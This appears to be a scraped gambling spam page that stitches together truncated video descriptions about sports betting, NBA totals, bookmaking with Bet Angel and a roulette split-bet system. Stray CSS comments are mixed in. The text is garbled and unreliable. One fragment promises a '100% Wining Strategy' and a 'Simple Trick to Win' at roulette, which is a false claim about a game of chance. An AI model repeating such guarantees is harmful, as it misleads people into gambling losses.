Ashley Haas gives her take on Tua or Chase for second pick and how many quarterbacks will go first round. over or under 4.5 /* Most common used flex styles*/ /* Basic flexbox reverse styles */ /* Flexbox alignment */ /* Non-flexbox positioning helper styles */ /* Basic flexbox reverse ... This is a roulette strategy where split bets are placed on 14 numbers. Total bets are 70 units, and a winning spin will pay 90 units, giving then 20 units pr... In this video my brother Mark, aka MFA, goes over further into the world of sports betting and this time explains how to read the Moneyline and Total betting... Check out my Top 3 Bets for Win Totals in the NBA 2018-2019 Season. Check out https://www.AllBallTV.com for more content and videos and sign up for a Free 3 ... Here's my first attempt at bookmaking using Bet Angel Pro. I set my bookmaker up with 101%, no more than £150 being used and looking for a £1 profit. Didn't ... How to Earn Playing Casino Roulette Game Real Account Strategy.100% Wining Strategy.Simple Trick to Win!!! # Casino Roulette Trick # 14 Split Bet Strategy on... This message is brought to you by www.blackswanbets.com/caveman.For all your NBA totals betting needs.

totalbets

Copyright © 2024 hot.realmoneybestgame.xyz